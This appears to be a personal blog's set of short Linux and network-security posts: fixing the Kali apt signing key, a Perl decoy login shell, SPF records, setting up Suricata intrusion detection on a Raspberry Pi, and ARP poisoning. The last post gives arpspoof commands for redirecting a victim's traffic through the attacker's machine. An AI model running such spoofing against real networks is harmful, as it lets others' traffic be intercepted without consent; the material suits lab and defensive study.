Sunday, April 15, 2018

Solve the key issue happening when updating sources by using apt-get

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

Retrieved from https://www.kali.org/news/kali-linux-2018-1-release/

If the commands above still does not work, please execute the commands below:

wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.1_all.deb
apt install ./kali-archive-keyring_2018.1_all.deb

Many thanks for the guidance of Frank, my coworker working at CCBNY.

Sunday, March 11, 2018

A dumb shell

#!/usr/bin/perl -w
#Path: /bin/dumb_shell.pl
#For those users with any privilege.
$|=1;

while(1){
        system('clear');
        print "You have logged in successfully!\n";
        sleep(5);
}

Monday, December 18, 2017

Regarding SPF Record eliminating SPAM.

More details can refer to http://www.openspf.org/SPF_Record_Syntax

SPF actually is a TXT record on your DNS server. Please kindly review the picture shown as follows:


Sunday, December 10, 2017

Install and configure Suricata at Raspberry Pi

Installation:
# apt-get update; apt-get install suricata
# cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
# cd /etc/suricata/rules
# wget https://rules.emergingthreats.net/open/suricata-2.0/emerging-all.rules
# vi /etc/suricata/suricata.yaml
Guarantee that the line below appears in the suricata.yaml file:
 - emerging-all.rules

Execution:
# suricata -c /etc/suricata/suricata.yaml -i wlan0

Running as a Daemon:
# suricata -c /etc/suricata/suricata.yaml -i wlan0 -D

Reading the alert log:
# tail -n 10 -f /var/log/suricata/fast.log

Saturday, December 2, 2017

Implement ARP POISIONING in Command Line on Kali Linux

1) Enable the IP Forward function by executing the command below:
echo 1 > /proc/sys/net/ipv4/ip_forward

2) Run Arpspoof as shown below.
Usage:
arpspoof -i eth0 -t VICTIM_IP -r GATEWAY_IP
Example:
arpspoof -i eth0 -t 172.31.99.251 -r 172.31.98.1

Once the steps above are successfully completed, all traffic from 172.31.99.251 (i.e. the victim) to 172.31.98.1 (i.e. the gateway) will go through your PC.